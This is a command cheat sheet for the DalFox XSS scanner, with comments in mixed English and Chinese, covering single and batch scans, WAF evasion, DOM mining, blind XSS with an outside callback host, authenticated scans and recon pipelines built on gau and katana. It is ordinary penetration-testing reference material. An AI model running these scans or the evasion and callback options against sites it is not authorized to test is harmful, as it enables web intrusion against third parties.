dalfox-xss

DalFox XSS Vulnerability Scanning Methodology

DalFox is a professional XSS vulnerability scanner. Core advantages:Intelligent parameter analysis(automatic identification of injectable parameters) + DOM mining + WAF bypass + Blind XSS support。

Project address:https://github.com/hahwul/dalfox

Phase 1: Basic scanning

# 扫描单个 URL（含参数）
dalfox url "http://target.com/search?q=test"

# 从文件批量扫描
dalfox file urls.txt

# 从 stdin 管道
cat urls.txt | dalfox pipe

Silent output (only show findings)

dalfox url "http://target.com/search?q=test" --silence

## Phase 2: 高级扫描

```bash
# Blind XSS（指定回调地址）
dalfox url "http://target.com/form?input=test" \
  --blind "https://your-callback.xss.ht"

# 启用 WAF 绕过
dalfox url "http://target.com/search?q=test" --waf-evasion

# 启用 DOM 分析
dalfox url "http://target.com/page" --mining-dom

# 自定义 Payload 文件
dalfox url "http://target.com/search?q=test" \
  --custom-payload payloads.txt

# POST 请求
dalfox url "http://target.com/submit" \
  --data "name=test&comment=hello" --method POST

Phase 3: Authentication and customization

# 带 Cookie
dalfox url "http://target.com/search?q=test" \
  --cookie "session=abc123"

# 自定义 Header
dalfox url "http://target.com/search?q=test" \
  --header "Authorization: Bearer token"

# 使用代理
dalfox url "http://target.com/search?q=test" \
  --proxy http://127.0.0.1:8080

# 控制并发和延迟
dalfox url "http://target.com/search?q=test" \
  --worker 10 --delay 100

Phase 4: Pipeline integration

# 爬虫 → XSS 扫描
katana -u http://target.com -jc -silent | dalfox pipe --silence

# 参数发现 → XSS 扫描
cat urls.txt | gau | grep "=" | dalfox pipe --silence

# URL 收集 → 去重 → XSS 扫描
gau target.com | grep "=" | sort -u | dalfox pipe --silence

# JSON 输出
dalfox url "http://target.com/search?q=test" --format json -o results.json

Common scenario quick reference

Scenario	Command
Single URL quick scan	dalfox url "http://target/search?q=test"
Batch scanning	dalfox file urls.txt --silence
Blind XSS	dalfox url "URL" --blind "https://callback.xss.ht"
WAF bypass	dalfox url "URL" --waf-evasion
Pipeline scanning	cat urls.txt | dalfox pipe --silence